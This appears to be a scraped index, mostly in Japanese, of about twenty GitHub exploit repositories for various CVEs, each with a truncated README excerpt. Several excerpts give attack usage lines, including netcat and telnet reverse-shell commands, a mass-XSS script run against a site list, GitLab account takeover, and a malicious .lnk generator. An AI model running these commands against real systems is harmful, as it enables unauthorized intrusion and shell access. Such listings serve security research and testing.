CVE-2018-9995-2

ツール CVE-2018-9995-2 CVE: CVE-2018-9995 エクスプロイト作者: Fernandez Ezequiel @capitanalfa 修正者: Kien Quoc バージョン: 2.0 Python3 のインストール apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 クイックスタート git clone https://github.com/kienquoc102/CVE-2018-9995-2 cd...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE TheAlchimist による作成 cve-2023-27163-maltrail.py リバースシェル用...

CVE-2023-29489

CVE-2023-29489 exploit このスクリプトはCVE-2023-29489（XSS脆弱性）を利用して多くのウェブサイトを攻撃できます 使用方法 python3 CVE-2023-29489.py list.txt 私のチャンネル :...

cve-2014-0050

cve-2014-0050 CVE-2014-0050 脆弱なサイトのサンプル このプロジェクトは、教育目的でCVE-2014-0050の悪用を実演することを目的としています。 詳細については、以下を参照してください： https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/...

CVE-2018-6961

CVE-2018-6961 - 未授权命令注入漏洞 此漏洞利用程序基于 Python2.7 环境，未在其他版本中测试。 1 安装依赖 pip install request 如果没有安装 pip，直接运行以下命令： apt-get install python-pip 2 使用方法 python exployt.py --rhost --interface --lhost --lport --function python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost 2.2.2.2 --lport 443 --function...

CVE-2025-24893

CVE-2025-24893 用リバースシェル python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" シェルのアップグレード 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2019-19609

CVE-2019-19609 Strapiフレームワークはリモートコード実行に対して脆弱です まあ、CVE-2019-19609用のエクスプロイトは見つからなかったので、自分で書きました。:/ 使用方法 python3 exploit.py 動画 https://youtu.be/alhZJmuUd2s 詳細情報 https://hack-fast.herokuapp.com/cve/CVE-2019-19609 https://github.com/strapi/strapi/pull/4636...

-CVE-2019-9053

CVE-2019-9053 このリポジトリには、CVE: 2019-9053 の修正済みコードが含まれています。 使い方は？ ターミナルで以下のように実行します python3 exploit2019.py これにより、URLなどを追加するよう求められます。実行が開始された後、その手順に従って実行し、ユーザー名とパスワード を取得できます。...

SSH_Enum_CVE-2018-15473

SSHユーザー名列挙エクスプロイト このスクリプトは、脆弱なサーバー（OpenSSH 2.3 -u リストからユーザーを列挙する場合： python CVE-2018-15473.py -w 4. スクリプトは結果をコンソールに表示します。 必要条件 Python 3.x paramiko パッケージ（pip install paramiko でインストール） colorama パッケージ（pip install colorama でインストール） 重要 このスクリプトは教育およびセキュリティ目的で提供されています。明示的な許可なしにシステムやネットワークで使用することは推奨されません。...

pwnkit-helper

Pkexec ローカル権限昇格 PwnKit Exploit ソース。 このエクスプロイトについてもっと知りたい場合は、以下をご確認ください: CVE-2021-4034 このエクスプロイトヘルパーは Python3 で正常に動作し、パッケージがインストールされていることを確認してください。 Root Fl4g を簡単に取得できるようにします。 頑張って！...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit スクリプト 説明 Apache Tomcat サーバーの CGI 脆弱性を悪用し、リバースシェル接続を実行するように設計された Python スクリプト。 使用例 特徴 Apache Tomcat の CGI 脆弱性に対する自動エクスプロイト カスタマイズ可能なターゲットおよび攻撃者パラメータ シンプルなコマンドラインインターフェース 前提条件 Python 3.x requests ライブラリ Netcat nc.exe リバースシェルを受信するためのリスナーへのアクセス インストール git clone cd pip install...

CVE-2023-3450

CVE-2023-3450 fofa：iconhash="-399311436" 事例：http://123.54.231.201:6060 Usage: python3 CVE-2023-3450.py -h, --help python3 CVE-2023-3450.py -u URL, --url URL python3 CVE-2023-3450.py -f FILE, --file FILE...

CVE-2021-22941

使用方法 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 参考 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS ExploitはPythonスクリプトです。このスクリプトはまず、提供されたワードリストを使用してブルートフォース認証試行を行います。有効な認証情報が見つかった場合、CVE-2024-23724の脆弱性を確認し、脆弱である場合にはエクスプロイトペイロードを生成します。 必要条件: 1. Python 3.xがインストールされていること 2. 必要なライブラリのインストール: pip install requests 3. 同じディレクトリにあるboilerplate.svgファイル（エクスプロイトペイロード生成に使用） 4...

CVE-2023-7028-GitLab

GitLab-CVE-2023-7028 例 python3 attack.py -u http://TargetIP:8000 -t [email protected] -e [email protected]...

cve-2017-5638

cve-2017-5638 cve-2017-5638 脆弱性のあるサイトのサンプル このプロジェクトは、教育目的でCVE-2017-5638のエクスプロイトを実演することを目的としています。 詳細については、https://cwiki.apache.org/confluence/display/WW/S2-045 を参照してください。 法的免責事項...

CVE-2017-8464-exp-generator

CVE-2017-8464-exp-generator このツールは、cve-2017-8486 用のエクスプロイトを生成できます。Python で開発されています。 使用方法: CVE-2017-8464.py dllname 実行すると、A.lnk、B.lnk、...、Z.lnk という名前の 26 個のファイルが生成されます。 その後、dll ファイルを A:/、B:/、...、Z:/ のいずれかのドライブに配置する必要があります。 例えば、 すべての .lnk ファイルと dll ファイルを USB に入れた場合、USB がコンピュータに接続されると、dll が実行されます。...

-CVE-2017-9805-

脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか？ S2-052に脆弱なStruts2をホストするシステムのシェルにリモートコマンドを実行できるPythonエクスプロイトスクリプトです。 使用方法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability - S2-052 Creati...

ThinkAdmin-CVE-2020-25540

ThinkAdmin-CVE-2020-25540 ThinkAdmin CVE-2020-25540 の POC（概念実証） Usage $ python3 exploit.py -t -c...

react2shellpoc

このリポジトリには、特定のクラスのReact Server Component脆弱性が管理された合法的なトレーニング環境 内でどのように動作するかを示す概念実証（PoC）が含まれています。 マニュアル ┌──kali㉿kali-/Documents/tools/2025-55182 └─$ python exploit.py -h /\ /\ /\ /\ /\ /\ || CVE-2025-55182 React Server Components RCE usage: exploit.py -h -t URL -c CMD options: -h, --help show this...